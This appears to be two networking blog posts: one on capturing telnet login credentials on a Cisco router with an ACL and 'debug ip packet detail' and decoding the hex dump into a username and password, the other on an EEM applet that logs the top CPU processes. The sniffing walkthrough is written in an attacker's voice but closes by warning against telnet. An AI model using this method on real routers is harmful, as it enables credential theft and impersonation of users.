What makes nasty-interesting this command is that you are able to get the credentials of everyone logging into the router through a unencrypted method, i.e. telnet (packets destined to the router are always process switched) and then impersonate him/her. Some other debug methods (i.e. aaa auth, tacacs, radius) hide the password field in their output.

First of all, you have to create an acl that matches the source of the victim and the destination port of telnet. This is not mandatory, but it'll help you keep logs to a minimum.

access-list 111 permit tcp host x.x.x.x any eq telnet

If you don't know the source ip, you can simply use "any".

access-list 111 permit tcp any any eq telnet

Then you have to enable detailed ip packet debugging for the above acl and wait for the victim to appear.

router#debug ip packet detail 111 ?
  <cr>

router#debug ip packet detail 111 dump
IP packet debugging is on (detailed) (dump) for access list 111

After the victim has successfully logged in, you can use the following regexp in order to get the useful logs for decoding his/her credentials :

router#sh log | i ^.+: .+ .+ ....0000 [0-9|A-F]+ .+
07B131A0: 00000000 60022238 919B0000 020405B4  ....`."8.......4
07B15D60: 2932EDFC 50182238 35A80000 FFFD03FF  )2m|P."85(...}..
07B3F660: 2932EE08 50182238 95610000 FFFD01FF  )2n.P."8.a...}..
07B09CE0: 2932EE63 50182238 D4D40000 FFFA1800  )2ncP."8TT...z..
07B1BDA0: 2932EE66 50182238 1B740000 76        )2nfP."8.t..v
07AFD3A0: 2932EE67 50182238 28720000 69        )2ngP."8(r..i
07B203A0: 2932EE68 50182238 2E700000 63        )2nhP."8.p..c
07B0FD20: 2932EE69 50182238 1D6E0000 74        )2niP."8.n..t
07B1FAE0: 2932EE6A 50182238 286C0000 69        )2njP."8(l..i
07B19AA0: 2932EE6B 50182238 246A0000 6D        )2nkP."8$j..m
07B27560: 2932EE6C 50182238 84670000 0D00      )2nlP."8.g....
07B263E0: 2932EE78 50182238 285A0000 69        )2nxP."8(Z..i
07B1C660: 2932EE78 50182238 50590000 41        )2nxP."8PY..A
07B02260: 2932EE78 50182238 44580000 4D        )2nxP."8DX..M
07B2A9E0: 2932EE78 50182238 1D570000 74        )2nxP."8.W..t
07B22F60: 2932EE78 50182238 29560000 68        )2nxP."8)V..h
07B26CA0: 2932EE78 50182238 2C550000 65        )2nxP."8,U..e
07B2F8A0: 2932EE78 50182238 3F540000 52        )2nxP."8?T..R
07B312E0: 2932EE78 50182238 22530000 6F        )2nxP."8"S..o
07B2B2A0: 2932EE78 50182238 22520000 6F        )2nxP."8"R..o
07B33EA0: 2932EE78 50182238 22510000 6F        )2nxP."8"Q..o
07AFB960: 2932EE78 50182238 89500000 08        )2nxP."8.P...
07B20C60: 2932EE78 50182238 894F0000 08        )2nxP."8.O...
07B2BB60: 2932EE78 50182238 894E0000 08        )2nxP."8.N...
07B34760: 2932EE78 50182238 424D0000 4F        )2nxP."8BM..O
07B226A0: 2932EE78 50182238 424C0000 4F        )2nxP."8BL..O
07B3DC20: 2932EE78 50182238 3D4B0000 54        )2nxP."8=K..T
07B4E2A0: 2932EE78 50182238 84490000 0D00      )2nxP."8.I....

You're mostly interested in the last hex column (telnet data is at the end of the packet) and you can safely ignore everything that looks abnormal (like FF). Looking at the ascii table, you can see that hex 0D translates to CR (CarriageReturn) and hex 08 translates to BS (BackSpace). So the ascii character stream of the last hex column is :

v
i
c
t
i
m
CR (CarriageReturn) - "Enter" is pressed
i
A
M
t
h
e
R
o
o
o
BS (BackSpace) - 1st "o" is deleted
BS (BackSpace) - 2nd "o" is deleted
BS (BackSpace) - 3rd "o" is deleted
O
O
O
T
CR (CarriageReturn) - "Enter" is pressed

which translates to username "victim" and password "iAMtheROOT".

Keep in mind that you might see more characters in the same line, if the input is keyed in quickly by the user. If you see 4 chars, then you'll have to check manually for the existence of the rest of the data. You're always looking for 0D00 in order to find the end of each input.

router#sh log | i ^.+: .+ .+ ....0000 [0-9|A-F]+ .+
07B1D7E0: 05DE7766 50182238 219F0000 FFFD03FF  .^wfP."8!....}..
07B079E0: 05DE7772 50182238 81580000 FFFD01FF  .^wrP."8.X...}..
07B16EE0: 05DE77C7 50182238 BCF80000 FFFA1800  .^wGP."8<x...z..
07B14320: 05DE77CD 50182238 59730000 FFFB24    .^wMP."8Ys...{$
07B25B20: 05DE77D0 50182238 3A1B0000 76696374  .^wPP."8:...vict
07B588E0: 05DE77D6 50182238 705E0000 0D00      .^wVP."8p^....
07B45F60: 05DE77E2 50182238 BC890000 69414D74  .^wbP."8<...iAMt
07B2E720: 05DE77E2 50182238 70460000 0D00      .^wbP."8pF....

router#sh log | b 07B25B20
07B25B20: 05DE77D0 50182238 3A1B0000 76696374  .^wPP."8:...vict
07B25B30: 696D                                 im

router#sh log | b 07B45F60
07B45F60: 05DE77E2 50182238 BC890000 69414D74  .^wbP."8<...iAMt
07B45F70: 6865524F 4F54                        heROOT

Notes :

1. Probably a tcl script could decode the above debug outputs much easier/better.

2. You can also include other ips (i.e. aaa server) in your acl in order to watch -probably- easier (i.e. look for Username/Password strings) the whole login process, because in the packet data you'll find everything the user types.

3. The beginning of a packet may start at different locations in the dump output depending on the specific router, interface type, and packet header processing that may have occurred before the output is displayed.

4. The length of the displayed packet information may exceed the actual packet length and include additional padding bytes that do not belong to the actual IP packet.


So, next time you decide to use telnet to login into a router, you'd better think twice before doing so. Besides sniffing on the wire, someone can do sniffing on the router too.

Using EEM 3.0 to get the top 3 processes

As you may already know, IOS > 12.3(4)T provides an easy way to get notified through syslog and snmp, when the cpu load of your router exceeds a specified threshold for a specific duration.

This is accomplished with the following global configuration commands :

process cpu threshold type total rising 40 interval 30
snmp-server enable traps cpu threshold

The output produced, when the threshold is exceeded, looks like the following :

%SYS-1-CPURISINGTHRESHOLD: Threshold: Total CPU Utilization(Total/Intr): 42%/19%, Top 3 processes(Pid/Util):  89/38%, 138/2%, 28/0%

%SYS-1-CPUFALLINGTHRESHOLD: Threshold: Total CPU Utilization(Total/Intr) 3%/19%.

It sure looks quite informative, since the top 3 process IDs are included with details about their cpu usage. You can make it even more informative by using EEM 3.0, so you can have the processes names too (plus other details). Here is a sample applet that uses regexp to get the 3 PIDs and then passes them to the "sh proc cpu" command using another regexp :

event manager applet SHOW-TOP3-PROCS-APPLET
 event syslog pattern "^.*CPURISINGTHRESHOLD.*Top 3 processes.*"
 action 1.1 regexp "^.*CPURISINGTHRESHOLD.*Top 3 processes.*:[ ]+([0-9]+)/[0-9]+%, ([0-9]+)/[0-9]+%, ([0-9]+)/[0-9]+%$" "$_syslog_msg" _match _sub1 _sub2 _sub3
 action 2.1 if $_regexp_result eq 1
 action 3.1  cli command "sh proc cpu sort | inc (CPU utilization|Runtime|^[ ]*($_sub1|$_sub2|$_sub3)_)"
 action 3.3  syslog msg "$_cli_result"
 action 4.1 else
 action 5.1  syslog msg "No Match. Please re-check your regexp code."
 action 6.1 end

I have colored the 3 variables (=PIDs) so you can easily see their usage in each regexp.

When an applet is triggered by an event (like the syslog in our example), you cannot run it manually :

R3#event manager run SHOW-TOP3-PROCS-APPLET
EEM policy SHOW-TOP3-PROCS-APPLET not registered with event none Event Detector

You have to use "event none", if you want to do so.

But, when the trigger event is a syslog message, you can create the appropriate message manually by using the "send log" command. That way you can test your applet without waiting for the syslog message to appear.

R3#send log %SYS-1-CPURISINGTHRESHOLD: Threshold: Total CPU Utilization(Total/Intr): 26%/40%, Top 3 processes(Pid/Util):  89/21%, 138/3%, 43/0%

R3#
%SYS-2-LOGMSG: Message from 0(): %SYS-1-CPURISINGTHRESHOLD: Threshold: Total CPU Utilization(Total/Intr): 26%/40%, Top 3 processes(Pid/Util):  89/21%, 138/3%, 43/0%
R3#
%HA_EM-6-LOG: SHOW-TOP3-PROCS-APPLET: CPU utilization for five seconds: 8%/0%; one minute: 5%; five minutes: 6%
 PID Runtime(ms)   Invoked      uSecs   5Sec   1Min   5Min TTY Process
 138      126668   1493020         84  5.19%  3.35%  2.86%   0 HQF Shaper Backg
  89      122052      8421      14493  0.95%  0.60%  1.80%   0 Exec
  43       20368      6154       3309  0.15%  0.18%  0.28%   0 Per-Second Jobs
R3>
R3#

Of course, the cpu load numbers between your message and the cpu load output do not agree in such a case, because the current cpu load is different from the one you sent through your syslog message.

So, let's create a little bit of real load, in order to make the applet run automatically too:

R3# show tech
R3#
%SYS-1-CPURISINGTHRESHOLD: Threshold: Total CPU Utilization(Total/Intr): 42%/19%, Top 3 processes(Pid/Util):  89/38%, 138/2%, 28/0%
%HA_EM-6-LOG: SHOW-TOP3-PROCS-APPLET: CPU utilization for five seconds: 42%/19%; one minute: 12%; five minutes: 7%
 PID Runtime(ms)   Invoked      uSecs   5Sec   1Min   5Min TTY Process
  89      127716      8452      15110 38.00%  8.16%  2.59%   0 Exec
 138      133132   1555879         85  2.95%  2.58%  3.02%   0 HQF Shaper Backg
  28        8344      1922       4341  0.23%  0.10%  0.11%   0 HC Counter Timer
R3>
R3#

As you can see, PIDs 89 (Exec), 138 (HQF Shaper Backg), 28 (HC Counter Timer) are the top 3 in this case.

Please keep in mind that EEM 3.0 requires latest 12.4(22)T.